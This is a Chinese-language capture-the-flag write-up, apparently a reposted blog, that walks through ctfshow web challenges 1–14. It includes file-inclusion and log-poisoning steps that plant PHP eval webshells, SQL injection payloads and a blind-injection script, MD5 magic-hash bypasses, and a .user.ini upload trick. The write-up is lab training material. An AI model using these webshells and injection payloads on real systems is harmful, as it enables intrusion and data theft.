ctfshow web 1-14

web1-14

web1

签到题,打开查看源码,base64解码得到flag

web2

题目提示:最简单的sql

sqlmap一把嗦

详细的使用可以查看这个:https://blog.csdn.net/yzl_007/article/details/119974367

web3

打开是一段代码, <?php include($_GET['url']);?>

文件包含函数,容易造成文件包含漏洞,输入?url=/etc/passwd 测试是否存在漏洞,如下,成功读取证明漏洞存在。

然后想办法利用文件包含获取flag,这里构造get 请求 ?url=php://input

burp抓包,然后post命令

<?php system("ls")?>

image-20210930002031245

成功读取到其中存在“ctf_go_go_go”这一可疑文件,再次构造cat命令读取得到flag

web4

打开和web3一样,但是是web3的进阶版,使用同样的方法查看etc/passwd 没有任何回显,只能通过日志注入获取shell。

输入默认目录获取日志:?url=/var/log/nginx/access.log 能够成功获取

在这里插入图片描述

同样抓包

再数据包中写入一句话木马

<?php @eval($_POST['a']);?>

然后发包

在这里插入图片描述

蚁剑连接拿到在www/目录中找到flag

在这里插入图片描述

web5

考到了MD5碰撞,这里使用0e绕过,0e开头的字符串在参与弱类型比较时,会被当做科学计数法,结果转换为0;我们只要传入两个md5值是以0e开头的参数,即可绕过md5加密。

代码审计: 获取两个请求值,v1,v2,两者的md5值相同,一个是字符一个是数字,即可绕过

<?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
    
    
            if(!ctype_alpha($v1)){
    
    
                die("v1 error");
            }
            if(!is_numeric($v2)){
    
    
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
    
    
                echo $flag;
            }
        }else{
    
    
        
            echo "where is flag?";
        }
    ?>

这里搜集到的

0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

参考:https://blog.csdn.net/zzwwhhpp/article/details/116490270

符合条件的就只有第一组,构造payload:?v1=QNKCDZO&v2=240610708

在这里插入图片描述

成功获取flag,这里衍生到另一题,月饼杯web签到

月饼杯web签到

代码

<?php
//Author:H3h3QAQ
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET["YBB"])) {
    
    
    if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) {
    
    
        echo "小伙子不错嘛!!flag给你了:" . $flag;
    } else {
    
    
        echo "偶吼,带黑阔被窝抓到了!!!!";
    }
}

与web5类似,但是这里是只有一个值的,0e开头的纯数字字符串才和自身的md5值相等,payload:

?YBB=0e215962017

<?php
    for($i = 1; $i <= 10000000000; $i++)
    {
    
    
        if (hash("md5", "0e".$i) == "0e".$i)
        {
    
    
            echo "0e".$i;
            break;
        }
        else
        {
    
    
            echo $i."\n";    // 方便查看跑了几位数
        }
    }
//参考:https://blog.csdn.net/MiGooli/article/details/120397282

web6

与web2一样的登陆窗口,但是这里有了限制,不能sqlmap一把嗦了,尝试手注。

先试试单引号,报错,存在注入,再试试万能密码,报错,sql inject error
image-20210930081227343

有字符被过滤了,逐个尝试,过滤了空格,我们可以使用括号()或者注释/**/绕过,

使用下面的方法,登陆成功

username=admin'/**/or/**/1=1#&password=1
或者
username=admin'or(true)#&password=1

image-20210930081659365

然后就可以利用基本的模板来查找flag了。

查询数据库

username=admin'or(true)union(select(1),database(),3)#&password=1

回显结果:欢迎你,ctfshow欢迎你,web2

查询web2数据库中的表

username=admin'or(true)union(select(1),(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web2')),3)#&password=1

回显结果:欢迎你,ctfshow欢迎你,flag,user

然后查看flag表中的字段

username=admin'or(true)union(select(1),(select(group_concat(column_name))from(information_schema.columns)where(table_schema='web2')and(table_name='flag')),3)#&password=1

回显结果:欢迎你,ctfshow欢迎你,flag

flag表中有flag字段,然后读取这个字段就好了

username=admin'or(true)union(select(1),(select(flag)from(flag)),3)#&password=1

回显结果:欢迎你,ctfshow欢迎你,ctfshow{665dc354-7d84-406b-8996-55a45806b218}

注入的时候要注意,括号的闭合,少了或者多了都无法回显内容

web7

?id=1’ or 1=1或者?id=1’ and 1=1都会报错,猜测和web6一样过滤了空格

在这里插入图片描述

果然

image-20210930084005286

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fj9cagUx-1632965856836)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20210930084117073.png)]

过滤了空格,又可以用刚刚的方法手工注入,但是这里用括号的方式绕过无回显,使用/**/代替空格绕过。

爆库:

id=1'/**/union/**/select/**/1,database(),3

回显结果:web7

爆表名:

id=1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()

回显结果:flag,page,user

爆字段:

id=1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"

回显结果:flag

读取字段:

id=1'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag

回显结果:image-20210930091252245

web8

使用同如web7的方法,会回显sql inject error,过滤了空格,逗号,and,union等关键字,

  1. 过滤空格, 可以使用括号() 或者注释/**/ 绕过

  2. 过滤and, 可以使用or替代

  3. 过滤union, 可以用盲注替代联合注入

  4. 过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替

    参考:https://blog.csdn.net/wangyuxiang946/article/details/120115458

import requests
 
url = 'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/'
name = ''
 
# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
    # 获取当前使用的数据库
    # payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
    # 获取当前数据库的所有表
    # payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
    # 获取flag表的字段
    # payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
    # 获取flag表的数据
    payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
    count = 0
    print('正在获取第 %d 个字符' % i)
    # 截取SQL查询结果的每个字符, 并判断字符内容
    for j in range(31, 128):
        result = requests.get(url + payload % (i, j))
 
        if 'If' in result.text:
            name += chr(j)
            print('数据库名/表名/字段名/数据: %s' % name)
            break
 
        # 如果某个字符不存在,则停止程序
        count += 1
        if count >= (128 - 31):
            exit()

这个题跑了多次都超时,不知道是不是我网络的问题

web9

打开后尝试注入无果,用dirsearch扫描,找到一个泄露文件

在这里插入图片描述

访问/robots.txt,发现了一个index.phps的文件

在这里插入图片描述

下载下来打开,是登陆部分的一段验证代码

<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
    
    
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
    
    
					while($row=mysqli_fetch_assoc($result)){
    
    
						 echo "登陆成功<br>";
						 echo $flag;
					 }
			}
    ?>

其中的查找语句就是这个了

$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";

输入一个密码,经过md5加密后,绕过sql语句。

这里有两个

ffifdyop

129581926211651571912466741651878684928

md5加密后的16进制转化为二进制时有 'or’xxxx 能够闭合sql语句,ffifdyop经过md5为276f722736c95d99e921722cf9ed621c,再转换为字符串为' ' 'or' 6<trach>

strlen($password)>10,对密码长度做了限制,输入ffifdyop拿到flag

在这里插入图片描述

web10

已经访问不到/robots.txt,但是有这web9的经验,访问/index.phps,任然有源码泄露,下载下来查看

<?php
		$flag="";
        function replaceSpecialChar($strParam){
    
    
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
    
    
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
    
    
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
    
    
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
    
    
					while($row=mysqli_fetch_assoc($result)){
    
    
						if($password==$row['password']){
    
    
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

源码中对很多sql语句都做了限制,过滤了很多关键词,

function replaceSpecialChar($strParam){
    
    
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }

php使用replaceSpecialChar一次性替换所有指定字符文本,但是这里替换的是空字符,考虑双写绕过

if(strlen($username)!=strlen(replaceSpecialChar($username))){
    
    
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
    
    
			die("sql inject error");
		}

但是这一段会限制双写,如果双写的话,字符串中关键词会被替换为空,前后字符长度不一样,输出错误提示。

    if($password==$row['password'])
    {
    
    
        echo "登陆成功<br>";
        echo $flag;
    }

看到关键地方,

在这里插入图片描述

web11

打开后显示了源码,和web10很相似,也使用了replaceSpecialChart进行了字符替换,过滤了关键字

image-20210930170010962

if($password==$_SESSION['password']){
    
    
            echo $flag;
        }else{
    
    
            echo "error";

看到这一栏,输入密码与存储的session相同时,输出flag。密码窗口这里已经输入了密码,抓包登陆看看,这里密码是123456,要使两者相同,可以直接把session删除,然后输入空密码,就可以绕过了

image-20210930170525415

session就是下图中标记的那一串,PHPSESSID=…

image-20210930170654147

删除后发送,拿到flag

image-20210930170722201

也可以再浏览器中直接修改

image-20210930171134057

同样先删除PHPSESSID中的值,再空密码登陆

image-20210930171222536

下面再讲讲session,Session是另一种记录客户状态的机制,它是在服务器上面,客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上。有时候可以利用这个直接越权登陆,通达OA就有一个版本存在未授权访问,就是利用session。

具体的可以看这个session与cookie

web12

源码中提示

猜测文件包含,直接构造payload:?cmd=phpinfo();

成功回显

image-20210930171507915

猜测源码中的cmd的函数应该是eval($_GET['cmd']);利用eval执行漏洞我们可以查看网页源代码

image-20210930171804998

但是我们不知道flag文件的名称,无法包含

然后再利用php的glob()函数匹配指定模式的文件名或者目录名,与正则匹配类似,glob("*")就是匹配所有文件,

glob("*txt")   //就是匹配txt文件
?cmd=print_r(glob("*txt"));

输出txt文件发现为空,直接输出所有文件吧

?cmd=print_r(glob("*"));

image-20210930172249208

回显了这样一个php文件,打开看看,使用highlight_file()函数成功输出

?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

image-20210930172451573

web13

打开题目是一个文件上传题,但是好多都做了限制,想想其他的思路,发现源码泄露

/upload.php.bak 访问下载,拿到源码

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
    
    
		die("error file zise");
	}
	if (strlen($filename)>9){
    
    
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
    
    
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
    
    
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
    
    
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
    
    
		echo "文件上传成功!";
	}else{
    
    
		echo "文件上传失败!";
	}

 ?>

文件的大小要小于等于24,名字长度小于等于9,后缀长度小于等于3,后缀和名字都不能包含php。

这样我们写入的一句话木马可以是:

<?php eval($_GET['a']);

满足文件大小小于等于24

后缀有限制,用另一种方式绕过

将一句话木马保存为1.txt,然后上传,接着上传一个.user.ini 文件,对于php中的.user.ini有如下解释: PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。

我们就可以在其中输入:auto_prepend_file =1.txt,这样该目录下的所有文件都会包含1.txt的内容

在这里插入图片描述

上传都符合规则,肯定是没有问题的,都上传之后再进行包含,web12中也提到过这个函数

在这里插入图片描述

然后高亮显示该php文件

拿到flag

在这里插入图片描述

使用.user.ini的前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。

web14

一个代码审计题,get请求,?c=1 的回显如下:

在这里插入图片描述

输出了$url 这个字符串

这里了解一下php的switch case语句。

 switch ($c) {
    
        
 		case 1:     
			 echo '$url';      
			 break;    
		case 2:     
        	 echo '@A@';      
        	 break;    
        case 555555:      
        	 echo $url;
        	 }

拿这里为例子如果$c 赋值为1 ,如果将case :1 中的beark;去掉,就会一直运行下去。

继续看题目, sleep($c);,沉睡多少秒后运行,

在这里插入图片描述

有两个地方没有break;

在这里插入图片描述

$ =3 更快,并且继续运行输出$url

在这里插入图片描述

然后访问这个页面

在这里插入图片描述

明显一个注入页面,查看源码,有如下提示:过滤空格

<!--
	if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
    
    
		die('@A@');
	}
-->

爆库名:爆出库名为web

-1/**/union/**/select/**/database()#

爆表名:爆出表名为content

-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'#

爆字段:爆出字段名有:id,username,password

-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'# 

查看数据:

-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content#

得到数据:

1adminflag is not here!,2gtf1ywow,you can really dance,3Wowtell you a secret,secret has a secret…

记得开头的源码中有一个secret.php,查看一下:

-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

输入之后,没出现弹窗,查看一下源码,变成了如下:

<script>alert('<!-- ReadMe -->
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
	echo file_get_contents('/real_flag_is_here');
}')</script>

那就再获取一下:

-1/**/union/**/select/**/load_file('/real_flag_is_here')

这次查询也没出现弹窗,查看源码,拿到flag

在这里插入图片描述这部分就写了这么多

猜你喜欢

转载自blog.csdn.net/yzl_007/article/details/120559114